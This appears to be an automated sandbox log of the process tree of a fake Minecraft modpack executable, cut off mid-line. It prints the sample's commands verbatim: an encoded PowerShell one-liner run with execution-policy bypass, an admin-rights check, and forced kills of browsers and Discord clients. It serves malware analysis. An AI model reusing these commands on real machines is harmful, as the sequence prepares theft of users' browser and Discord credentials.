    C:\Windows\system32\cmd.exe /d /s /c "Powershell -NoLogo -NonInteractive -NoProfile -ExecutionPolicy Bypass -Encoded WwBTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBUAEYAOAAuAEcAZQB0AFMAdAByAGkAbgBnACgAWwBTAHkAcwB0AGUAbQAuAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACgAJwB7ACIAUwBjAHIAaQBwAHQAIgA6ACIAUQBXAFIAawBMAFYAUgA1AGMARwBVAGcATABVADUAaABiAFcAVQBnAFYAMgBsAHUAWgBHADkAMwBJAEMAMQBPAFkAVwAxAGwAYwAzAEIAaABZADIAVQBnAFEAMgA5AHUAYwAyADkAcwBaAFMAQQB0AFQAVwBWAHQAWQBtAFYAeQBSAEcAVgBtAGEAVwA1AHAAZABHAGwAdgBiAGkAQQBuAEQAUQBvAGcASQBDAEEAZwBJAEMAQQBnAEkARgB0AEUAYgBHAHgASgBiAFgAQgB2AGMAbgBRAG8ASQBrAHQAbABjAG0ANQBsAGIARABNAHkATABtAFIAcwBiAEMASQBwAFgAUQAwAEsASQBDAEEAZwBJAEMAQQBnAEkAQwBCAHcAZABXAEoAcwBhAFcATQBnAGMAMwBSAGgAZABHAGwAagBJAEcAVgA0AGQARwBWAHkAYgBpAEIASgBiAG4AUgBRAGQASABJAGcAUgAyAFYAMABRADIAOQB1AGMAMgA5AHMAWgBWAGQAcABiAG0AUgB2AGQAeQBnAHAATwB3ADAASwBJAEMAQQBnAEkAQQAwAEsASQBDAEEAZwBJAEMAQQBnAEkAQwBCAGIAUgBHAHgAcwBTAFcAMQB3AGIAMwBKADAASwBDAEoAMQBjADIAVgB5AE0AegBJAHUAWgBHAHgAcwBJAGkAbABkAEQAUQBvAGcASQBDAEEAZwBJAEMAQQBnAEkASABCADEAWQBtAHgAcABZAHkAQgB6AGQARwBGADAAYQBXAE0AZwBaAFgAaAAwAFoAWABKAHUASQBHAEoAdgBiADIAdwBnAFUAMgBoAHYAZAAxAGQAcABiAG0AUgB2AGQAeQBoAEoAYgBuAFIAUQBkAEgASQBnAGEARgBkAHUAWgBDAHcAZwBTAFcANQAwAE0AegBJAGcAYgBrAE4AdABaAEYATgBvAGIAMwBjAHAATwB3ADAASwBJAEMAQQBnAEkAQwBBAGcASQBDAEEAbgBEAFEAbwBnAEkAQwBBAGcARABRAG8AZwBJAEMAQQBnAEkAQwBBAGcASQBDAFIAagBiADIANQB6AGIAMgB4AGwAVQBIAFIAeQBJAEQAMABnAFcAMABOAHYAYgBuAE4AdgBiAEcAVQB1AFYAMgBsAHUAWgBHADkAMwBYAFQAbwA2AFIAMgBWADAAUQAyADkAdQBjADIAOQBzAFoAVgBkAHAAYgBtAFIAdgBkAHkAZwBwAEQAUQBvAGcASQBDAEEAZwBJAEMAQQBnAEkAQwBNAHcASQBHAGgAcABaAEcAVQBOAEMAaQBBAGcASQBDAEEAZwBJAEMAQQBnAFcAMABOAHYAYgBuAE4AdgBiAEcAVQB1AFYAMgBsAHUAWgBHADkAMwBYAFQAbwA2AFUAMgBoAHYAZAAxAGQAcABiAG0AUgB2AGQAeQBnAGsAWQAyADkAdQBjADIAOQBzAFoAVgBCADAAYwBpAHcAZwBNAEMAawBOAEMAZwA9AD0AIgB9ACcAIAB8ACAAQwBvAG4AdgBlAHIAdABGAHIAbwBtAC0ASgBzAG8AbgApAC4AUwBjAHIAaQBwAHQAKQApACAAfAAgAGkAZQB4AA=="
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:4228
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      Powershell -NoLogo -NonInteractive -NoProfile -ExecutionPolicy Bypass -Encoded WwBTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBUAEYAOAAuAEcAZQB0AFMAdAByAGkAbgBnACgAWwBTAHkAcwB0AGUAbQAuAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACgAJwB7ACIAUwBjAHIAaQBwAHQAIgA6ACIAUQBXAFIAawBMAFYAUgA1AGMARwBVAGcATABVADUAaABiAFcAVQBnAFYAMgBsAHUAWgBHADkAMwBJAEMAMQBPAFkAVwAxAGwAYwAzAEIAaABZADIAVQBnAFEAMgA5AHUAYwAyADkAcwBaAFMAQQB0AFQAVwBWAHQAWQBtAFYAeQBSAEcAVgBtAGEAVwA1AHAAZABHAGwAdgBiAGkAQQBuAEQAUQBvAGcASQBDAEEAZwBJAEMAQQBnAEkARgB0AEUAYgBHAHgASgBiAFgAQgB2AGMAbgBRAG8ASQBrAHQAbABjAG0ANQBsAGIARABNAHkATABtAFIAcwBiAEMASQBwAFgAUQAwAEsASQBDAEEAZwBJAEMAQQBnAEkAQwBCAHcAZABXAEoAcwBhAFcATQBnAGMAMwBSAGgAZABHAGwAagBJAEcAVgA0AGQARwBWAHkAYgBpAEIASgBiAG4AUgBRAGQASABJAGcAUgAyAFYAMABRADIAOQB1AGMAMgA5AHMAWgBWAGQAcABiAG0AUgB2AGQAeQBnAHAATwB3ADAASwBJAEMAQQBnAEkAQQAwAEsASQBDAEEAZwBJAEMAQQBnAEkAQwBCAGIAUgBHAHgAcwBTAFcAMQB3AGIAMwBKADAASwBDAEoAMQBjADIAVgB5AE0AegBJAHUAWgBHAHgAcwBJAGkAbABkAEQAUQBvAGcASQBDAEEAZwBJAEMAQQBnAEkASABCADEAWQBtAHgAcABZAHkAQgB6AGQARwBGADAAYQBXAE0AZwBaAFgAaAAwAFoAWABKAHUASQBHAEoAdgBiADIAdwBnAFUAMgBoAHYAZAAxAGQAcABiAG0AUgB2AGQAeQBoAEoAYgBuAFIAUQBkAEgASQBnAGEARgBkAHUAWgBDAHcAZwBTAFcANQAwAE0AegBJAGcAYgBrAE4AdABaAEYATgBvAGIAMwBjAHAATwB3ADAASwBJAEMAQQBnAEkAQwBBAGcASQBDAEEAbgBEAFEAbwBnAEkAQwBBAGcARABRAG8AZwBJAEMAQQBnAEkAQwBBAGcASQBDAFIAagBiADIANQB6AGIAMgB4AGwAVQBIAFIAeQBJAEQAMABnAFcAMABOAHYAYgBuAE4AdgBiAEcAVQB1AFYAMgBsAHUAWgBHADkAMwBYAFQAbwA2AFIAMgBWADAAUQAyADkAdQBjADIAOQBzAFoAVgBkAHAAYgBtAFIAdgBkAHkAZwBwAEQAUQBvAGcASQBDAEEAZwBJAEMAQQBnAEkAQwBNAHcASQBHAGgAcABaAEcAVQBOAEMAaQBBAGcASQBDAEEAZwBJAEMAQQBnAFcAMABOAHYAYgBuAE4AdgBiAEcAVQB1AFYAMgBsAHUAWgBHADkAMwBYAFQAbwA2AFUAMgBoAHYAZAAxAGQAcABiAG0AUgB2AGQAeQBnAGsAWQAyADkAdQBjADIAOQBzAFoAVgBCADAAYwBpAHcAZwBNAEMAawBOAEMAZwA9AD0AIgB9ACcAIAB8ACAAQwBvAG4AdgBlAHIAdABGAHIAbwBtAC0ASgBzAG8AbgApAC4AUwBjAHIAaQBwAHQAKQApACAAfAAgAGkAZQB4AA==
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of WriteProcessMemory
      PID:3692
    - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
        
        "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\fiogvul0\fiogvul0.cmdline"
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:1116
      - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES55C2.tmp" "c:\Users\Admin\AppData\Local\Temp\fiogvul0\CSC6B01183178924980AB2EC2E6C5CE866D.TMP"
        6⤵
        
        PID:4644
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "net session"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:4492
  - - C:\Windows\system32\net.exe
      net session
      4⤵
      Suspicious use of WriteProcessMemory
      PID:724
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 session
        5⤵
        
        PID:4572
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM chrome.exe"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:1612
  - - C:\Windows\system32\taskkill.exe
      taskkill /F /IM chrome.exe
      4⤵
      Kills process with taskkill
      PID:3384
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM msedge.exe"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:2012
  - - C:\Windows\system32\taskkill.exe
      taskkill /F /IM msedge.exe
      4⤵
      Kills process with taskkill
      PID:1560
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM opera.exe"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:4348
  - - C:\Windows\system32\taskkill.exe
      taskkill /F /IM opera.exe
      4⤵
      Kills process with taskkill
      PID:2540
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM opera_gx.exe"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:3240
  - - C:\Windows\system32\taskkill.exe
      taskkill /F /IM opera_gx.exe
      4⤵
      Kills process with taskkill
      PID:1040
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM brave.exe"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:1316
  - - C:\Windows\system32\taskkill.exe
      taskkill /F /IM brave.exe
      4⤵
      Kills process with taskkill
      PID:3352
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM firefox.exe"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:1832
  - - C:\Windows\system32\taskkill.exe
      taskkill /F /IM firefox.exe
      4⤵
      Kills process with taskkill
      PID:3088
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM zen.exe"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:1756
  - - C:\Windows\system32\taskkill.exe
      taskkill /F /IM zen.exe
      4⤵
      Kills process with taskkill
      PID:2412
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM discord.exe"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:2836
  - - C:\Windows\system32\taskkill.exe
      taskkill /F /IM discord.exe
      4⤵
      Kills process with taskkill
      PID:2600
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM discordcanary.exe"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:3368
  - - C:\Windows\system32\taskkill.exe
      taskkill /F /IM discordcanary.exe
      4⤵
      Kills process with taskkill
      PID:3920
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM discorddevelopment.exe"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:1668
  - - C:\Windows\system32\taskkill.exe
      taskkill /F /IM discorddevelopment.exe
      4⤵
      Kills process with taskkill
      PID:4444
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM discordptb.exe"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:3908
  - - C:\Windows\system32\taskkill.exe
      taskkill /F /IM discordptb.exe
      4⤵
      Kills process with taskkill
      PID:4120

C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
1⤵
PID:1692

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s NgcSvc
1⤵
PID:2308

C:\Windows\System32\rundll32.exe
C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
1⤵
PID:3816

C:\Program Files\7-Zip\7zG.exe
"C:\Program Files\7-Zip\7zG.exe" x -o"C:\Users\Admin\Downloads\SamoCraft\" -spe -an -ai#7zMap692:86:7zEvent22054
1⤵
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
PID:4552

C:\Program Files\7-Zip\7zG.exe
"C:\Program Files\7-Zip\7zG.exe" x -o"C:\Users\Admin\Downloads\SamoCraft\overrides\mods\" -an -ai#7zMap6703:130:7zEvent28020
1⤵
- Suspicious use of FindShellTrayWindow
PID:3600

C:\Windows\system32\OpenWith.exe
C:\Windows\system32\OpenWith.exe -Embedding
1⤵
- Modifies registry class
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:64
- C:\Windows\system32\NOTEPAD.EXE
  "C:\Windows\system32\NOTEPAD.EXE" C:\Users\Admin\Downloads\SamoCraft\overrides\mods\me\seo\echovoicebeta\client\EchoVoiceBetaClient.class
  2⤵
  - Opens file in notepad (likely ransom note)
  PID:2352

C:\Windows\system32\AUDIODG.EXE
C:\Windows\system32\AUDIODG.EXE 0x4a0 0x4c0
1⤵
PID:4804

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe"
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Modifies data under HKEY_USERS
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
PID:4644
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0x118,0x11c,0x120,0xf4,0x124,0x7ffe8277c728,0x7ffe8277c734,0x7ffe8277c740
  2⤵
  PID:3044
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --metrics-shmem-handle=1696,i,1664133902368521590,5964842668210449581,262144 --field-trial-handle=1980,i,7662904951596330436,11124751121845301092,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=1972 /prefetch:2
  2⤵
  PID:3860
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --metrics-shmem-handle=1616,i,5995977470789910911,14256110026435466397,524288 --field-trial-handle=1980,i,7662904951596330436,11124751121845301092,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=2300 /prefetch:3
  2⤵
  - System Time Discovery
  PID:1872
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=2424,i,5522584046981974594,15095410179966500427,524288 --field-trial-handle=1980,i,7662904951596330436,11124751121845301092,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=2516 /prefetch:8
  2⤵
  PID:3148
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --metrics-shmem-handle=3240,i,9932768153507937366,7687254946653999952,2097152 --field-trial-handle=1980,i,7662904951596330436,11124751121845301092,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=3252 /prefetch:1
  2⤵
  PID:3480
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --metrics-shmem-handle=3260,i,16552656703321136424,6306520566580207250,2097152 --field-trial-handle=1980,i,7662904951596330436,11124751121845301092,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=3292 /prefetch:1
  2⤵
  PID:444
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --metrics-shmem-handle=4560,i,7867668300389872402,14344506092836694205,2097152 --field-trial-handle=1980,i,7662904951596330436,11124751121845301092,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=4628 /prefetch:1
  2⤵
  PID:3292
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.ProcessorMetrics --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --metrics-shmem-handle=5376,i,6038006128619536883,15386238354860868583,524288 --field-trial-handle=1980,i,7662904951596330436,11124751121845301092,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=5380 /prefetch:8
  2⤵
  PID:4300
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=9 --metrics-shmem-handle=5456,i,10772002630911507410,12858726445464240678,2097152 --field-trial-handle=1980,i,7662904951596330436,11124751121845301092,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=5476 /prefetch:1
  2⤵
  PID:2864
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --metrics-shmem-handle=3300,i,15456403088351856739,8363233983464657442,2097152 --field-trial-handle=1980,i,7662904951596330436,11124751121845301092,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=5616 /prefetch:1
  2⤵
  PID:808
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=media.mojom.CdmServiceBroker --lang=en-US --service-sandbox-type=cdm --force-high-res-timeticks=disabled --metrics-shmem-handle=5504,i,15697129744808079469,10148549695111354001,524288 --field-trial-handle=1980,i,7662904951596330436,11124751121845301092,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=5544 /prefetch:8
  2⤵
  - Suspicious use of NtSetInformationThreadHideFromDebugger
  PID:3792
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=12 --metrics-shmem-handle=5900,i,12622180837912784280,7164295923314922004,2097152 --field-trial-handle=1980,i,7662904951596330436,11124751121845301092,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=5864 /prefetch:1
  2⤵
  PID:2972
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=13 --metrics-shmem-handle=5976,i,18104486974766423458,9064341772114776655,2097152 --field-trial-handle=1980,i,7662904951596330436,11124751121845301092,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=5832 /prefetch:1
  2⤵
  PID:116
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --metrics-shmem-handle=5440,i,15016328205507958754,18395041685017628401,524288 --field-trial-handle=1980,i,7662904951596330436,11124751121845301092,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=6216 /prefetch:8
  2⤵
  PID:2300
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --metrics-shmem-handle=3308,i,1054605795464461834,9818032272040672568,524288 --field-trial-handle=1980,i,7662904951596330436,11124751121845301092,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=6252 /prefetch:8
  2⤵
  PID:4512
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --metrics-shmem-handle=3692,i,11261297294447658844,13569958181443334116,524288 --field-trial-handle=1980,i,7662904951596330436,11124751121845301092,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=6136 /prefetch:8
  2⤵
  PID:2828

C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
1⤵
PID:1560

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s NgcSvc
1⤵
PID:1384

C:\Users\Admin\Downloads\ModPack20.exe
"C:\Users\Admin\Downloads\ModPack20.exe"
1⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious behavior: EnumeratesProcesses
PID:3972
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "Powershell -NoLogo -NonInteractive -NoProfile -ExecutionPolicy Bypass -Encoded WwBTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBUAEYAOAAuAEcAZQB0AFMAdAByAGkAbgBnACgAWwBTAHkAcwB0AGUAbQAuAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACgAJwB7ACIAUwBjAHIAaQBwAHQAIgA6ACIAUQBXAFIAawBMAFYAUgA1AGMARwBVAGcATABVADUAaABiAFcAVQBnAFYAMgBsAHUAWgBHADkAMwBJAEMAMQBPAFkAVwAxAGwAYwAzAEIAaABZADIAVQBnAFEAMgA5AHUAYwAyADkAcwBaAFMAQQB0AFQAVwBWAHQAWQBtAFYAeQBSAEcAVgBtAGEAVwA1AHAAZABHAGwAdgBiAGkAQQBuAEQAUQBvAGcASQBDAEEAZwBJAEMAQQBnAEkARgB0AEUAYgBHAHgASgBiAFgAQgB2AGMAbgBRAG8ASQBrAHQAbABjAG0ANQBsAGIARABNAHkATABtAFIAcwBiAEMASQBwAFgAUQAwAEsASQBDAEEAZwBJAEMAQQBnAEkAQwBCAHcAZABXAEoAcwBhAFcATQBnAGMAMwBSAGgAZABHAGwAagBJAEcAVgA0AGQARwBWAHkAYgBpAEIASgBiAG4AUgBRAGQASABJAGcAUgAyAFYAMABRADIAOQB1AGMAMgA5AHMAWgBWAGQAcABiAG0AUgB2AGQAeQBnAHAATwB3ADAASwBJAEMAQQBnAEkAQQAwAEsASQBDAEEAZwBJAEMAQQBnAEkAQwBCAGIAUgBHAHgAcwBTAFcAMQB3AGIAMwBKADAASwBDAEoAMQBjADIAVgB5AE0AegBJAHUAWgBHAHgAcwBJAGkAbABkAEQAUQBvAGcASQBDAEEAZwBJAEMAQQBnAEkASABCADEAWQBtAHgAcABZAHkAQgB6AGQARwBGADAAYQBXAE0AZwBaAFgAaAAwAFoAWABKAHUASQBHAEoAdgBiADIAdwBnAFUAMgBoAHYAZAAxAGQAcABiAG0AUgB2AGQAeQBoAEoAYgBuAFIAUQBkAEgASQBnAGEARgBkAHUAWgBDAHcAZwBTAFcANQAwAE0AegBJAGcAYgBrAE4AdABaAEYATgBvAGIAMwBjAHAATwB3ADAASwBJAEMAQQBnAEkAQwBBAGcASQBDAEEAbgBEAFEAbwBnAEkAQwBBAGcARABRAG8AZwBJAEMAQQBnAEkAQwBBAGcASQBDAFIAagBiADIANQB6AGIAMgB4AGwAVQBIAFIAeQBJAEQAMABnAFcAMABOAHYAYgBuAE4AdgBiAEcAVQB1AFYAMgBsAHUAWgBHADkAMwBYAFQAbwA2AFIAMgBWADAAUQAyADkAdQBjADIAOQBzAFoAVgBkAHAAYgBtAFIAdgBkAHkAZwBwAEQAUQBvAGcASQBDAEEAZwBJAEMAQQBnAEkAQwBNAHcASQBHAGgAcABaAEcAVQBOAEMAaQBBAGcASQBDAEEAZwBJAEMAQQBnAFcAMABOAHYAYgBuAE4AdgBiAEcAVQB1AFYAMgBsAHUAWgBHADkAMwBYAFQAbwA2AFUAMgBoAHYAZAAxAGQAcABiAG0AUgB2AGQAeQBnAGsAWQAyADkAdQBjADIAOQBzAFoAVgBCADAAYwBpAHcAZwBNAEMAawBOAEMAZwA9AD0AIgB9ACcAIAB8ACAAQwBvAG4AdgBlAHIAdABGAHIAbwBtAC0ASgBzAG8AbgApAC4AUwBjAHIAaQBwAHQAKQApACAAfAAgAGkAZQB4AA=="
  2⤵
  - Executes a command shell one-liner
  PID:1896
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    Powershell -NoLogo -NonInteractive -NoProfile -ExecutionPolicy Bypass -Encoded WwBTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBUAEYAOAAuAEcAZQB0AFMAdAByAGkAbgBnACgAWwBTAHkAcwB0AGUAbQAuAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACgAJwB7ACIAUwBjAHIAaQBwAHQAIgA6ACIAUQBXAFIAawBMAFYAUgA1AGMARwBVAGcATABVADUAaABiAFcAVQBnAFYAMgBsAHUAWgBHADkAMwBJAEMAMQBPAFkAVwAxAGwAYwAzAEIAaABZADIAVQBnAFEAMgA5AHUAYwAyADkAcwBaAFMAQQB0AFQAVwBWAHQAWQBtAFYAeQBSAEcAVgBtAGEAVwA1AHAAZABHAGwAdgBiAGkAQQBuAEQAUQBvAGcASQBDAEEAZwBJAEMAQQBnAEkARgB0AEUAYgBHAHgASgBiAFgAQgB2AGMAbgBRAG8ASQBrAHQAbABjAG0ANQBsAGIARABNAHkATABtAFIAcwBiAEMASQBwAFgAUQAwAEsASQBDAEEAZwBJAEMAQQBnAEkAQwBCAHcAZABXAEoAcwBhAFcATQBnAGMAMwBSAGgAZABHAGwAagBJAEcAVgA0AGQARwBWAHkAYgBpAEIASgBiAG4AUgBRAGQASABJAGcAUgAyAFYAMABRADIAOQB1AGMAMgA5AHMAWgBWAGQAcABiAG0AUgB2AGQAeQBnAHAATwB3ADAASwBJAEMAQQBnAEkAQQAwAEsASQBDAEEAZwBJAEMAQQBnAEkAQwBCAGIAUgBHAHgAcwBTAFcAMQB3AGIAMwBKADAASwBDAEoAMQBjADIAVgB5AE0AegBJAHUAWgBHAHgAcwBJAGkAbABkAEQAUQBvAGcASQBDAEEAZwBJAEMAQQBnAEkASABCADEAWQBtAHgAcABZAHkAQgB6AGQARwBGADAAYQBXAE0AZwBaAFg